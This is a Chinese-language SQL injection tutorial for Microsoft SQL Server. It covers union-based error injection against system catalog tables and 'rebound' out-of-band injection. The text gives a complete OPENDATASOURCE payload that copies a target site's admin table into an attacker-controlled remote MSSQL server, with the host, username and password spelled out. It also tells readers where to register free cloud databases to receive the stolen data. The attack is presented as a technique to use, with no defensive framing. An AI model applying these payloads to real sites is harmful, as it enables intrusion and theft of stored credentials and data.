MSSQL注入：显错注入及反弹注入

前言：

MSSQL注入攻击是最为复杂的数据库攻击技术，由于该数据库功能十分强大，存储过程以及函数语句十分丰富，这些灵活的语句造就了新颖独特的攻击思路。

MSSQL的显错注入操作：

以联合查询为例：

猜字段

联合查询：union all

猜出输出点使用null填充

注释只有 --+、-- a 没有#

查询系统库：select name,null,...... from dbo.sysdatabases 可以不用查库名

查询系统表：select name,null,...... from dbo.sysobjects where xtype='U' //U表示用户创建表

查询表中的字段：select name,null,...... from dbo.syscolumns where id= 表名对应的id

MSSQL反弹注入：

MSSQL反弹注入的使用场景

命名是SQL的注入点却无法进行注入操作，注入工具猜解的速度异常缓慢，错误提示信息关闭，无法返回注入结果等，这些都是在注入攻击中常常遇到的问题。

为了解决以上这些疑难杂症，比较好的解决方法就是使用反弹注入技术，而反弹注入技术则需要依靠opendatasource函数支持。

环境的搭建：

我们前面说到，MSSQL注入 — 反弹注入实际就是把查询出来的数据发送到我们的MSSQL服务器上，那么我们需要自己的MSSQL数据库和一个公网IP。

香港云（http://www.webweb.com/） 随便拿个邮箱然后注册就行

香港云如果失效：https://my.gearhost.com/CloudSite

数据库连接器：http://mssqlus.webweb.com/

反弹注入语句解析：

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --

Insert into 很明显是插入语句 然后出现了个opendatasource。
opendatasource 为了方便理解，可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
语法：
OPENDATASOURCE(provider_name,init_string)
provider_name
	注册为用于访问数据源的OLE DB 提供程序的PROGID的名称                 MSSQL的名称为SQLOLEDB
init_string
	连接字符串
	连接地址、端口、用户名、密码、数据库名
	server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称
连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp  把后面语句的查询结果插入到那个表里面